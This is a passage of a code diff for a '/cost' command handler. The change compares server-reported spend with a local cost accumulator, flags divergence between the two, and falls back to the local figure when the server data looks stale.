+ ? fetchHeadroom(ctx.signal).catch(() => null) // fail-soft: still report session usage
230
+ : Promise.resolve(undefined),
231
+ fetchSpend
232
+ ? fetchSpend(ctx.signal).catch(() => null) // fail-soft: fall back to the local accumulator
233
+ : Promise.resolve(null),
234
+ ]);
235
+ const localSnap = acc.snapshot();
236
+ // Read fresh on every /cost call, both branches (see RegisterCostDeps's
237
+ // isBoosted doc comment for why the local fallback needs it too).
238
+ let boosted = false;
239
+ try {
240
+ boosted = deps.isBoosted?.() ?? false;
241
+ }
242
+ catch {
243
+ /* a diagnostic must never break /cost */
244
+ }
245
+ // Quiet divergence check: both totals must be available, and it never
246
+ // affects what the user sees. Scoped to `caller === "driver"` rows only
247
+ // (like-for-like with the local `turn_end` accumulator, which can only
248
+ // ever see the driver's own turns) — NOT spend.totalSellMillicents,
249
+ // which includes every /go run this session launched and would
250
+ // otherwise disagree with the local total by construction. See the
251
+ // onDivergence doc comment above for the full story.
252
+ if (spend) {
253
+ try {
254
+ const driverServerUsd = spend.rows.filter((r) => r.caller === "driver").reduce((sum, r) => sum + r.sellMillicents, 0) / 100_000;
255
+ const localUsd = localSnap.cost;
256
+ const larger = Math.max(driverServerUsd, localUsd);
257
+ if (larger > 0 && Math.abs(driverServerUsd - localUsd) / larger > DIVERGENCE_THRESHOLD) {
258
+ deps.onDivergence?.(driverServerUsd, localUsd);
259
+ }
260
+ }
261
+ catch {
262
+ /* a diagnostic must never break /cost */
263
+ }
264
+ }
265
+ // An empty server response (no rows at all) alongside a NONZERO local
266
+ // accumulator is more likely billing lag (the row has not landed yet)
267
+ // than an honestly-zero session: showing "$0.00 (server)" over real,
268
+ // already-observed local spend would read as a regression, not a fix.
269
+ // Prefer the labeled local line in exactly this state.
270
+ const serverLooksStale = spend !== null && spend.rows.length === 0 && localSnap.turns > 0;
271
+ if (spend && !serverLooksStale) {
272
+ let dropped = 0;
105
273
  try {
106
- headroom = await fetchHeadroom(ctx.signal);
274
+ dropped = deps.droppedSessionRuns?.() ?? 0;
107
275
  }
108
276
  catch {
109
- headroom = null; // fail-soft: still report session usage
277
+ /* a diagnostic must never break /cost */
110
278
  }
279
+ await pi.sendUserMessage(formatServerCostLines(spend, headroom, dropped, boosted));
280
+ return;
111
281
  }
112
282
  let advisorLine = "";
113
283
  try {
@@ -116,7 +286,7 @@ export function registerCostCommand(pi, deps = {}) {
116
286
  catch {
117
287
  /* usage accounting must never break /cost */
118
288
  }
119
- await pi.sendUserMessage(formatCostLine(acc.snapshot(), headroom, advisorLine));
289
+ await pi.sendUserMessage(formatCostLine(localSnap, headroom, advisorLine, "local, driver only", boosted));
120
290
  },
121
291
  });
122
292
  }